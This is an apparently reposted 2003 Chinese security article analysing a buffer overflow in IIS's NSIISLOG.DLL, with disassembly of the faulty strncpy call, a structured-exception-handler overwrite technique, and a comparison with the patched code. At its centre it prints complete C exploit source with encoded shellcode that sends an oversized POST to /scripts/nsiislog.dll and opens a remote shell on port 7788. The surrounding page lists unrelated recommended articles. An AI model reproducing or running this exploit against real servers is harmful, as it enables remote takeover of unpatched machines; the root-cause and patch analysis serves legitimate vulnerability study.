【实战】IIS的NSIISLOG.DLL溢出问题分析

windows下安装包制作软件:NSIS的使用方法(以electron为例) NSIS (Nullsoft Scriptable Install System) 是一个专业开源的制作 windows 安装程序的工具。它提供了安装、卸载、系统设置、文件解压缩等功能。这如其名字所指出的那样,NSIS 是通过它的脚本语言来描述安装程序的行为和逻辑的。NSIS 的脚本语言和通常的编程语言有类似的结构和语法,但它是为安装程序这类应用所设计的。下面以 Electron 程序安装包的制作为例,介绍NSIS的用法。 文章目录一、安装 NSIS二、编辑脚本2.1 准备安装包2.2 新建脚本2.3 . 阅读详情

IIS的NSIISLOG.DLL溢出问题分析


创建时间:2003-07-02 更新时间:2003-07-02
文章属性:原创
文章提交: flashsky (flashsky1_at_sina.com)

转摘请注明作者和安全焦点
作者:FLASHSKY
SITE: WWW.XFOCUS.NET, WWW.SHOPSKY.COM
邮件:flashsky@xfocus.org
作者单位:启明星辰积极防御实验室

实行积分制了,写点垃圾文章赚点子啊,大家别拿鸡蛋砸我。
溢出漏洞原因分析:

导致溢出的代码就在NSIISLOG.DLL中,如下
.text:40F01B08                 mov     ecx, esi
.text:40F01B0A                 call    dword ptr [eax+8]
.text:40F01B0D                 push    eax            <----------------计算的POST数据长度
.text:40F01B0E                 mov     ecx, ebx
.text:40F01B10                 push    [ebp+arg_4]        <----------------POST数据的BUFFER
.text:40F01B13                 call    sub_40F01EEE
#########################################################################################################
sub_40F01EEE函数内容:
.text:40F01EEE                 push    ebp
.text:40F01EEF                 mov     ebp, esp
.text:40F01EF1                 mov     eax, 1104h
.text:40F01EF6                 call    sub_40F02B80            〈-----------------分配缓冲区,按含ESP-0X1104的调用
.text:40F01EFB                 push    ebx
.text:40F01EFC                 push    esi
.text:40F01EFD                 mov     ebx, [ebp+arg_4]
.text:40F01F00                 push    edi                    〈-------------------导致溢出的参数,本来应该是被溢出的缓冲区的长度
.text:40F01F01                 mov     edi, [ebp+arg_8]                            这里却传成了POST数据的长度
.text:40F01F04                 or      ecx, 0FFFFFFFFh
.text:40F01F07                 xor     eax, eax
.text:40F01F09                 push    ebx
.text:40F01F0A                 repne scasb
.text:40F01F0C                 push    [ebp+arg_0]           〈----------------------我们POST的数据
.text:40F01F0F                 lea     eax, [ebp+var_1104]
.text:40F01F15                 not     ecx
.text:40F01F17                 dec     ecx
.text:40F01F18                 push    eax                   〈------------------------被溢出的缓冲区
.text:40F01F19                 mov     [ebp+var_4], ecx
.text:40F01F1C                 call    ds:strncpy             〈-----------------------导致溢出的调用
##############################################################################################################
溢出原因:
strncpy这个调用本来是安全函数调用的,原形是:
strncpy(BUF1,BUF2,BUF1MAXLEN)
但是在这个调用中,调用者误使这个函数的调用成如下方式了:
strncpy(BUF1,BUF2,BUF2MAXLEN),这样第三个参数本来应该是BUF1MAXLEN来限制可能导致溢出的调用就成了无用的摆设。
我们可以计算出返回地址的覆盖点是:
    0X1104+4(EBP占用的地址)=0x1108,那么需要0X110C个字节,注意POST的数据在覆盖中不能存在0x0,否则strncpy会自动用0添满后面的数据。

溢出攻击实现:
    但是在函数返回以前我们发现会引发函数的异常(主要是后面的strspn调用中),那么我们就得想法覆盖异常结构。(当然如果你可以精巧设计你自己覆盖的内容不导致异常也是可以的,不过这样太麻烦了),nsiislog.dll自己并没有异常处理程序,那么需要我们覆盖默认的异常结构处理地址,我们可以通过累加所有调用堆栈的大小计算得出此地址距离我们溢出缓冲区的距离是0X2708。
    另外需要考虑的问题就是在触发异常之前,如果应用程序对我们的SHELLCODE进行了操作则会导致一些问题,那么我们最好使得在STRNCPY中就出发缓冲。(这个溢出中,会转换EBP之前的一些数据的大小写,也会截断添加一条消息。当然我们也可以精巧设置SHELLCODE的位置,不过返回地址不是很好设置)。
那么我们需要比0X270C更长的地址导致地址访问违反例,这个长度是和当前缓冲大小相关的(到下一个地址段,如0X8CXXXX-〉0X8D0000就会引发异常):
考虑这个问题,我们的缓冲放置0x10000以上长度的数据(当然一般25000左右就基本能导致在STRNCPY里的异常了),就能绝对保证在strncpy中引发异常了。
下面我们就要寻找一个CALL EBX或JMP EBX的地址了(因为是覆盖异常结构),这个地址其实在NSIISLOG.DLL中就有很多,这样就能避免很多版本要求的问题。
这里再给大家分析一下为什么溢出异常结构之后要找CALL(JMP)EBX的原理
首先异常结构链结构如下
DWORD PNEXT      下一个异常结构地址指针
DWORD FUNADDR    当前处理函数入口地址

在KiUserExceptionDispatcher中的处理是如下方式的:
77f8e4ca ff7304           push  dword ptr [ebx+0x4] ds:0023:008cf764=40f0135c   <-------------EBX+4就是当前异常处理函数调用地址,EBX就是异常结构地址,由于可能要处理下一个异常链,所以EBX就保存了下来未做修改,这样在我们覆盖了EBX+4的异常处理函数调用地址后找到CALL(JMP)EBX就可以到达我们可以控制的一个内存区域。
77f8e4cd 8d45f0           lea     eax,[ebp-0x10]
77f8e4d0 50               push    eax
77f8e4d1 ff750c           push    dword ptr [ebp+0xc]
77f8e4d4 53               push    ebx
77f8e4d5 56               push    esi
77f8e4d6 e83affffff       call    ntdll!RtlSetBits+0x305 (77f8e415)

###############################################################################
77f8e42f ff7514           push    dword ptr [ebp+0x14]
77f8e432 ff7510           push    dword ptr [ebp+0x10]
77f8e435 ff750c           push    dword ptr [ebp+0xc]
77f8e438 ff7508           push    dword ptr [ebp+0x8]
77f8e43b 8b4d18           mov     ecx,[ebp+0x18]                           <-------------这里就是溢出的异常结构地址
77f8e43e ffd1             call    ecx {nsiislog+0x135c (40f0135c)}
###############################################################################

这里需要注意的是:找到的返回地址是在[ebx+4]上,而调用CALL EBX也要把这个地址内存的内容当指令执行,所以EBX(异常结构前)的地址的内容应该是跳过
EBX+4(被覆盖的异常结构地址)的,下面就是一个EXP代码,使用了ISNO的SHELLCODE(我拿到的这个SHELLCODE有点小毛病,使得只能连上无法执行指令,已修改),执行以后TELNET IP 7788
###############################################################################
#include <stdio.h>
#include <winsock2.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>


char        *hostName = NULL;
unsigned char shellcode[]=
        "/x90/xeb/x03/x5d/xeb/x05/xe8/xf8/xff/xff/xff/x83/xc5/x15/x90/x90"
        "/x90/x8b/xc5/x33/xc9/x66/xb9/x10/x03/x50/x80/x30/x97/x40/xe2/xfa"
        "/x7e/x8e/x95/x97/x97/xcd/x1c/x4d/x14/x7c/x90/xfd/x68/xc4/xf3/x36"
        "/x97/x97/x97/x97/xc7/xf3/x1e/xb2/x97/x97/x97/x97/xa4/x4c/x2c/x97"
        "/x97/x77/xe0/x7f/x4b/x96/x97/x97/x16/x6c/x97/x97/x68/x28/x98/x14"
        "/x59/x96/x97/x97/x16/x54/x97/x97/x96/x97/xf1/x16/xac/xda/xcd/xe2"
        "/x70/xa4/x57/x1c/xd4/xab/x94/x54/xf1/x16/xaf/xc7/xd2/xe2/x4e/x14"
        "/x57/xef/x1c/xa7/x94/x64/x1c/xd9/x9b/x94/x5c/x16/xae/xdc/xd2/xc5"
        "/xd9/xe2/x52/x16/xee/x93/xd2/xdb/xa4/xa5/xe2/x2b/xa4/x68/x1c/xd1"
        "/xb7/x94/x54/x1c/x5c/x94/x9f/x16/xae/xd0/xf2/xe3/xc7/xe2/x9e/x16"
        "/xee/x93/xe5/xf8/xf4/xd6/xe3/x91/xd0/x14/x57/x93/x7c/x72/x94/x68"
        "/x94/x6c/x1c/xc1/xb3/x94/x6d/xa4/x45/xf1/x1c/x80/x1c/x6d/x1c/xd1"
        "/x87/xdf/x94/x6f/xa4/x5e/x1c/x58/x94/x5e/x94/x5e/x94/xd9/x8b/x94"
        "/x5c/x1c/xae/x94/x6c/x7e/xfe/x96/x97/x97/xc9/x10/x60/x1c/x40/xa4"
        "/x57/x60/x47/x1c/x5f/x65/x38/x1e/xa5/x1a/xd5/x9f/xc5/xc7/xc4/x68"
        "/x85/xcd/x1e/xd5/x93/x1a/xe5/x82/xc5/xc1/x68/xc5/x93/xcd/xa4/x57"
        "/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x13/x5e/xe3/x9e/xc5/xc1/xc4"
        "/x68/x85/xcd/x3c/x75/x7f/xd1/xc5/xc1/x68/xc5/x93/xcd/x1c/x4f/xa4"
        "/x57/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x17/x6e/x95/xe3/x9e/xc5"
        "/xc1/xc4/x68/x85/xcd/x3c/x75/x70/xa4/x57/xc7/xd7/xc7/xd7/xc7/x68"
        "/xc0/x7f/x04/xfd/x87/xc1/xc4/x68/xc0/x7b/xfd/x95/xc4/x68/xc0/x67"
        "/xa4/x57/xc0/xc7/x27/x9b/x3c/xcf/x3c/xd7/x3c/xc8/xdf/xc7/xc0/xc1"
        "/x3a/xc1/x68/xc0/x57/xdf/xc7/xc0/x3a/xc1/x3a/xc1/x68/xc0/x57/xdf"
        "/x27/xd3/x1e/x90/xc0/x68/xc0/x53/xa4/x57/x1c/xd1/x63/x1e/xd0/xab"
        "/x1e/xd0/xd7/x1c/x91/x1e/xd0/xaf/xa4/x57/xf1/x2f/x96/x96/x1e/xd0"
        "/xbb/xc0/xc0/xa4/x57/xc7/xc7/xc7/xd7/xc7/xdf/xc7/xc7/x3a/xc1/xa4"
        "/x57/xc7/x68/xc0/x5f/x68/xe1/x67/x68/xc0/x5b/x68/xe1/x6b/x68/xc0"
        "/x5b/xdf/xc7/xc7/xc4/x68/xc0/x63/x1c/x4f/xa4/x57/x23/x93/xc7/x56"
        "/x7f/x93/xc7/x68/xc0/x43/x1c/x67/xa4/x57/x1c/x5f/x22/x93/xc7/xc7"
        "/xc0/xc6/xc1/x68/xe0/x3f/x68/xc0/x47/x14/xa8/x96/xeb/xb5/xa4/x57"
        "/xc7/xc0/x68/xa0/xc1/x68/xe0/x3f/x68/xc0/x4b/x9c/x57/xe3/xb8/xa4"
        "/x57/xc7/x68/xa0/xc1/xc4/x68/xc0/x6f/xfd/xc7/x68/xc0/x77/x7c/x5f"

    //这里修改了一下错误的SHELLCODE,原来的是   /xc0/x6b/xa4/x5e/xc6/xc7,
    //把WRITEFILE的最后2个参数传反了,导致写入管道失败,这样就无法传入命令
    // 原来的:  PUSH EDI(是一个地址)      修改后:  XOR ECX ECX
    //           XOR ECX ECX                           PUSH ECX
    //           PUSH ECX                              PUSH EDI
    //           PUSH EAX (收到的缓冲字节数)         PUSH EAX
    //           PUSH ESI (缓冲指针)                 PUSH ESI
    //           PUSH [EDX-54]                         PUSH [EDX-54]
    //           CALL WRITEFILE                        CALL WRITEFILE
    //          会导致写入管道失败                    

    "/xa4/x57/xc7/x23/x93/xc7/xc1/xc4/x68/xc0/x6b/xa4/x5e/xc6/xc0/xc7"
        "/xc1/x68/xe0/x3b/x68/xc0/x4f/xfd/xc7/x68/xc0/x77/x7c/x3d/xc7/x68"
        "/xc0/x73/x7c/x69/xcf/xc7/x1e/xd5/x65/x54/x1c/xd3/xb3/x9b/x92/x2f"
        "/x97/x97/x97/x50/x97/xef/xc1/xa3/x85/xa4/x57/x54/x7c/x7b/x7f/x75"
        "/x6a/x68/x68/x7f/x05/x69/x68/x68/xdc/xc1/x70/xe0/xb4/x17/x70/xe0"
        "/xdb/xf8/xf6/xf3/xdb/xfe/xf5/xe5/xf6/xe5/xee/xd6/x97/xdc/xd2/xc5"
        "/xd9/xd2/xdb/xa4/xa5/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xfe/xe7/xf2"
        "/x97/xd0/xf2/xe3/xc4/xe3/xf6/xe5/xe3/xe2/xe7/xde/xf9/xf1/xf8/xd6"
        "/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xe5/xf8/xf4/xf2/xe4/xe4/xd6/x97"
        "/xd4/xfb/xf8/xe4/xf2/xdf/xf6/xf9/xf3/xfb/xf2/x97/xc7/xf2/xf2/xfc"
        "/xd9/xf6/xfa/xf2/xf3/xc7/xfe/xe7/xf2/x97/xd0/xfb/xf8/xf5/xf6/xfb"
        "/xd6/xfb/xfb/xf8/xf4/x97/xc0/xe5/xfe/xe3/xf2/xd1/xfe/xfb/xf2/x97"
        "/xc5/xf2/xf6/xf3/xd1/xfe/xfb/xf2/x97/xc4/xfb/xf2/xf2/xe7/x97/xd2"
        "/xef/xfe/xe3/xc7/xe5/xf8/xf4/xf2/xe4/xe4/x97/x97/xc0/xc4/xd8/xd4"
        "/xdc/xa4/xa5/x97/xe4/xf8/xf4/xfc/xf2/xe3/x97/xf5/xfe/xf9/xf3/x97"
        "/xfb/xfe/xe4/xe3/xf2/xf9/x97/xf6/xf4/xf4/xf2/xe7/xe3/x97/xe4/xf2"
        "/xf9/xf3/x97/xe5/xf2/xf4/xe1/x97/x95/x97/x89/xfb/x97/x97/x97/x97"
        "/x97/x97/x97/x97/x97/x97/x97/x97/xf4/xfa/xf3/xb9/xf2/xef/xf2/x97"
        "/x68/x68/x68/x68";
        
void main (int argc, char **argv)
{
    WSADATA WSAData;
    SOCKET s;
    SOCKADDR_IN addr_in;
    unsigned char buf[1000];
    unsigned char testbuf[0x10000];
    int len;
    char t1[]="POST /scripts/nsiislog.dll HTTP/1.1/r/nHost: 192.168.10.210/r/nContent-length: 65536/r/n/r/n";//4364

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d/n",WSAGetLastError());
        return;
    }


    hostName = argv[1];

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(80);
    addr_in.sin_addr.S_un.S_addr=inet_addr(hostName);
    
    memset(testbuf,0,0x10000);
    
    if ((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d/n",WSAGetLastError());
        return;
    }
    if(WSAConnect(s,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    {
        printf("Connect failed.Error:%d",WSAGetLastError());
        return;
    }
    len=sizeof(t1)-1;
    memcpy(testbuf,t1,len);
    send(s,testbuf,len,0);
    recv(s,buf,1000,0);
    memset(testbuf,'A',65536);//4364
    len=65536;//4364;
    *(DWORD *)(testbuf+0x2704)=0x04eb06eb;//jmp过覆盖的异常地址
    *(DWORD *)(testbuf+0x2708)=0x40F0135c;//覆盖异常结构的值
    memcpy(testbuf+0x270c,shellcode,sizeof(shellcode));
    send(s,testbuf,len,0);      
    closesocket (s);
    WSACleanup();
    return;
}

########################################################################################################################

补丁机理:
WindowsMedia41-KB822343-x86-CHS.exe补丁补掉了这个漏洞,如下:

.text:40F01FCA                 mov     eax, 1100h
.text:40F01FCF                 call    sub_40F02D30
.text:40F01FD4                 push    ebx
.text:40F01FD5                 push    esi
.text:40F01FD6                 push    edi
.text:40F01FD7                 mov     edi, [ebp+arg_8]
.text:40F01FDA                 or      ecx, 0FFFFFFFFh
.text:40F01FDD                 xor     eax, eax
.text:40F01FDF                 repne scasb
.text:40F01FE1                 mov     esi, [ebp+arg_4]
.text:40F01FE4                 mov     eax, 0FFFh   〈-----------------------强制EAX=0XFFF(小于分配的空间0X1100);
.text:40F01FE9                 not     ecx
.text:40F01FEB                 dec     ecx
.text:40F01FEC                 cmp     esi, eax     〈------------------------比较是否超过
.text:40F01FEE                 mov     ebx, ecx
.text:40F01FF0                 jbe     short loc_40F01FF4
.text:40F01FF2                 mov     esi, eax      〈----------------------STRNCPY的第三个参数不会超过0XFFF,这样就不会溢出
.text:40F01FF4
.text:40F01FF4 loc_40F01FF4:                           ; CODE XREF: sub_40F01FC7+29j
.text:40F01FF4                 push    esi
.text:40F01FF5                 lea     eax, [ebp+var_1100]
.text:40F01FFB                 push    [ebp+arg_0]
.text:40F01FFE                 push    eax
.text:40F01FFF                 call    ds:strncpy
NS - IIS安装并更换默认80端口 IIS:Internet Information Service 环境: VMvare 版本: Windows Server 2016 测试: 控制面板 => 管理工具 => 查看IIS是否安装; *附加: 服务器端软件安装目录(c:\users\administrator\appdata\local\programs\) Step1:打开服务器管理器(安装I... 阅读详情

相关推荐

NSIS教程(1): 基础语法

NSIS教程: 《NSIS用户手册 中文版》 《NSIS图文教程集锦 - 轻狂志》 一. 环境搭建 NSIS是“Nullsoft Scriptable Install System”的简称。从http://nsis.sourceforge.net/Download下载NSIS安装进行安装,安装完之后的目录结构如图: 也可以从此处下载:nsis-3.02.1 ...

while(1) { smile(); } 10万+

.Net IIS 内存溢出(System.OutOfMemoryException)

.Net IIS 内存溢出(System.OutOfMemoryException)的常见情况和处理方式总结 原因是页面上数据量大,缓存太多。

长安诗社社长@-梁瀚文- https://github.com/HevnChin https://gitee.com/HevnChin 3948

LLM and Embedding区别

LLM(大语言模型)和 Embedding(嵌入)是自然语言处理(NLP)中的两个核心概念,它们的核心区别在于。Embedding 计算向量。

u010674101的专栏 1877

iis应用池内存溢出卡死优化

1.修改回收阀值memoryLimit 在ASP.NET Web服务器上,ASP.NET所能够用到的内存,通常不会等同于所有的内存数量。在machine.config(C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/CONFIG)配置文件中,配置节<processModel>中有一个属性“memoryLimit”,这个属性的值是一个...

aaztliz78857的博客 1105

科研党必备:Zotero+Deepseek 打造AI文献阅读助手(附详细插件配置指南)

本文详细介绍了如何利用Zotero和Deepseek打造AI文献阅读助手,提升科研效率。从Zotero基础安装到中文文献处理插件茉莉花的配置,再到Deepseek API的集成与模型选择策略,全面覆盖了AI辅助阅读的关键环节。特别适合需要高效管理海量文献的科研工作者,显著提升文献筛选和分析速度。

backprop5master的博客 426

使用fairseq从头开始训练一个中英神经机器翻译模型

前言 由于毕设是做神经机器翻译相关,所以先尝试一下神经机器翻译的整个流程是非常有必要的。故将在news-commentary-v15语料上训练有监督中英NMT模型的整个流程,包括工具和数据的准备、数据的预处理、训练及解码等过程,以及过程中遇到的问题和解决方案记录在此,以供后期回顾,也希望能够给予别人一些帮助。附本人博客 1 相关工具及目录结构 1.1 相关工具 除jieba是使用pip install安装外,其他几个工具都是建议直接克隆库到自己的用户目录中,方便使用其脚本(moses/subword-nmt

qq_42734797的博客 2万+

逆向学习笔记-基于EBP的栈帧

程序的OEP,一开始以 Push EBP 和MOV Ebp,Esp这两句开始。 原因:c程序的开始是以一个主函数main()为开始的,而函数在访问的过程中最重要的事情就是要确保堆栈的平衡,而在win32的环境下保持平衡的办法是这样的: 1.让EBP保存ESP的值。 2.在程序运行完毕的时候调用 mov esp,ebp pop ebp retn 或者是 leave r

li898445911a的专栏 2078

从Podfile到分享成功:ShareSDK小红书模块集成全流程实战(附视频分享代码)

本文详细介绍了iOS应用如何通过ShareSDK集成小红书分享功能的全流程,包括环境配置、SDK初始化、图片和视频分享实现,以及常见问题排查和性能优化策略。特别针对视频分享这一高频需求场景,提供了完整的代码示例和实战技巧,帮助开发者快速实现社交分享功能。

weixin_42540248的博客 227

IIS 部署 WebApi项目及遇到的问题(.net)

1.部署: 1.1. 项目发布 1.右键项目—>选择发布…,出现以下页面。 2.点击新建,选择文件夹 3.选择一个空文件夹,点击保存。 4.点击编辑,选择文件系统。 5.选择设置 6.点击保存,最后点击发布。 7.项目发布完成,下面安装部署服务器。 1.2. 安装部署IIS 1.找到控制面板—>选择程序—>选择启用或关闭windows功能 2.找到IIS,勾选需要的,点击确定。 3.等一小会,安装成功后,搜索IIS,打开它。 4.找到网站—>右键添加网站 5.填写

静心123的博客 4378

手把手教你用闲置安卓手机搭建个人收款系统(蓝鲸支付私有化部署实战)

本文详细介绍了如何利用闲置安卓手机搭建个人收款系统,实现私有化支付部署。通过开源技术栈和容器化方案,零成本构建安全、高效的支付网关,解决传统支付平台的数据安全和资金风险问题。特别适合个人开发者和小微企业主,无需复杂审批,资金实时到账,显著降低运营成本。

weixin_30363285的博客 383

【35】软考软件设计师——设计模式代码填空(C++版)满分精讲|第5/6题二选一必考

本文是《软件设计师·50讲通关|从零基础到工程师职称》专栏第35篇,聚焦下午选做题**第5/6题C++版设计模式代码填空**,与上一篇Java版形成双子配套,单题分值稳定12~15分。全文超4000字深度拆解C++独有核心考点:虚函数/纯虚函数、构造与析构函数规范、继承权限、模板类编程在设计模式中的应用;精讲单例、工厂、策略、观察者、适配器五大高频模式的C++专属代码写法,标注所有填空核心点位、语法陷阱、内存安全规范

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 547

内核级HOOK的几种实现与应用

首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们 添加文章 English Version  文章分类  专题文章 漏洞分析 安全配置 黑客教学 编程技术 工具介绍 火墙技术 入侵检测 破解专题 焦点公告 焦点峰会  文章推荐  LSD RPC 溢出漏洞之分析 任意用户模式下执行 ring 0 代码 IIS的NSIISLOG.

ljtt的专栏 1227

【YOLOv11工业级实战】15. YOLOv11海洋监测实战:珊瑚礁健康评估(水下图像增强|机器人搭载)

摘要:本文针对珊瑚礁健康评估的海洋监测需求,基于YOLOv11提出解决方案,聚焦水下色偏、悬浮物干扰、珊瑚形态复杂三大难题。引用全球珊瑚礁监测网络(GCRMN)标准,采用CoralNet数据集,通过Jaffe-McGlamery物理模型引导增强与悬浮物去除算法,在浑浊水域(能见度<5m)实现87.3%的健康珊瑚识别率,藻类误判率低至7.2%。介绍了以BlueROV2水下机器人和Jetson AGX Orin为核心的部署方案,结合水下SLAM定位技术,实现珊瑚健康的实时评估与三维覆盖率计算。

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 1644

Serv-U FTP Server本地提升权限缺陷

  专题文章 漏洞分析 安全配置 黑客教学 编程技术 工具介绍 火墙技术 入侵检测 破解专题 焦点公告 焦点峰会

得峰的专栏 [网络收藏] 1580

链路状态路由协议 OSPF (一)

本章将会学习链路状态路由协议OSPF,理解OSPF的基本概念,工作原理,掌握OSPF配置基本命令。本章重点,OSPF的基本概念,OSPF配置。

yj11290301的博客 3475

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

FreeXploiT 成立三年感言!

 04年成立的,和一个朋友,现在那个朋友不知所踪了(他叫菜菜,很早就玩汇编了)后来的两年基本是我一个人更新里面的blog我这个算是最早的安全聚合blog吧? 暗礁的也挺早 不过是团队形式的 鬼仔的05年 neeao的04.10.26我的04.10.15那时候就是想弄点资料自己收藏着看看 ,当然也有很长远的目标 就是想做一个网站 先拿blog练练手一练就是三年啊 哈。。blo

FreeXploiT 8491

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

Metasploit Framework all part 1-3

Metasploit Framework, Part 1 Pukhraj Singh, K.K. Mookhey 2004-07-12 <!--This article provides an elaborate insight into the Open Source exploit framework, the Metasploit Fra

FreeXploiT 7212

贝叶斯统计 [韦来生编]

贝叶斯(Bayes)统计是近几十年来迅速发展起来的数理统计的一个重要分支。贝叶斯方法与经典统计方法的主要不同之处是进行统计推断时除了利用样本信息外,还要利用参数的先验信息,因此可以提高统计推断或统计决策的效果。它在经济、金融、生物、医学、自然科学和社会科学等许多领域具有广泛的应用。贝叶斯方法的研究已渗透到了统计学的几乎所有领域。作者在给中国科学技术大学概率论与数理统计专业本科生开设的“数理统计”课程中有一章专门讲授“贝叶斯方法和统计决策理论”,近十年来也给中国科学技术大学概率统计专业研究生开设过几次“贝叶斯分析”课。本书是在对过去讲稿的内容作了适当的增减和调整的基础上完成的。  本书共分六章。第1章是绪论,介绍了贝叶斯统计的若干基本概念,同时对必要的数理统计的基础知识有重点地作了回顾。第二章介绍了确定先验分布的若干可供选择的方法。第三章介绍了几类常见统计模型参数的后验分布的主要结果和计算方法。第四章和第五章分别介绍了“贝叶斯统计推断”和“贝叶斯统计决策”的内容。第六章介绍了贝叶斯统计计算的若干方法,包括蒙特卡洛方法和马尔可夫链蒙特卡洛(MCMC)方法以及相关统计软件的简介。本书的每一章附右大量的例题和习题,书末附有常用的几个表格和部分习题解答供读者查用。  大约可在54学时内讲授本书的第1章至第六章的主要内容,教师可根据学时需要选讲本书第1章至第六章的部分内容。书中标“*”号的章节可略去不讲,留给读者作为阅读材料。第六章例题中的R代码和部分例题的数据文件等可从作者个人主页下载。  作者在编写本书的过程中参考了J.O.Berger教授的《统计决策论及贝叶斯分析》和茆诗松教授编写的《贝叶斯统计》等书中的一些内容,以及《贝叶斯分析》一书中由张伟平博士编写的有关贝叶斯统计计算的一些内容。在此表示衷心感谢。  本书编写准备过程中,中国科学技术大学统计与金融系的几个研究生帮助完成了本书部分中文的录入和排版,作者对他们的辛勤工作表示真诚的感谢。高等教育出版社为本书的出版给予了大力支持。在此一并致谢。

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

强大溢出工具包:Metasploit命令行下的使用 (转至77169)

Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.下载Metasploit双击进行安装,非常简单,一路回车就行了。安装完之后看下安装目录下的Msfconsole.bat和msfweb.bat,第一个是命令下的控制台。第二个是图形界面下的程序。现在我们先来看下命令行下的使用方法,运行后我们看到

FreeXploiT 7174

【分析】对于SSH crc32 compensation attack detector exploit 的分析

对于SSH crc32 compensation attack detector exploit 的分析创建时间:2001-11-12文章属性:整理文章提交:xundi (xundi_at_xfocus.org)by xundi@xfocus.orghttp://xfocus.org2001/11/10由于SSH crc32 compensation attack detector exploit

FreeXploiT 3575

【实战】Serv-U "site chmod xxx" Exploit

Serv-U "site chmod xxx" Exploit创建时间:2004-02-20文章属性:转载文章提交:velvet (zodiacsoft_at_hotmail.com)论坛登陆名: SWAN提交者邮件地址: ????提交者QQ号码: ????版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!标题: Serv-U "site ch

FreeXploiT 3009

【分析】通用的攻击WebDAV漏洞的方法

通用的攻击WebDAV漏洞的方法创建时间:2003-03-29文章属性:原创文章来源:http://www.xfocus.net文章提交:isno (isno_at_sina.com)by isno    前几天写的WebDAV漏洞的分析和溢出程序,有一些网友对exploit程序的成功率提出了质疑,哈哈,那个程序确实写的不好,成功率是比较低的。这两天我又翻出yuange原来写的《widechar的

FreeXploiT 2941

【原理+实战】window系统下的堆栈溢出

window系统下的堆栈溢出作者:ipxodi>日期:2000-05-23◆原理篇这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的堆栈溢出漏洞。让我们从头开始。windows 98第二版首先,我们来写一个问题程序:#include int main(){char name[32];gets(name);for(int i=0;iprintf("//0x%x"

FreeXploiT 2765

Win32 缓冲区溢出实战 (转)

Win32 缓冲区溢出实战 --------------------------------------------------------------------------------    原文:《Intro to Win32 Exploits》作者:Sergio Alvarez 2004.09.05译者:cloie#ph4nt0m.org 2004.10.30一、前序很多次被朋友邀请写

FreeXploiT 2554

【分析】Serv-U "MDTM"命令远程溢出分析

Serv-U "MDTM"命令远程溢出分析创建时间:2004-03-05文章属性:转载文章提交:peak (pe4k_at_eyou.com)Serv-U "MDTM"命令远程溢出分析                                       czy 于 04.02.29    2月27号一早在securityfocus看到了这个漏洞的公告,上面清楚的说明了You must ha

FreeXploiT 2552
上一篇: 【分析】缓冲区溢出漏洞发掘之整数范围限制浅析
下一篇: 【实战】Internet Explorer Object Type Property Overflow 的研究心得
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值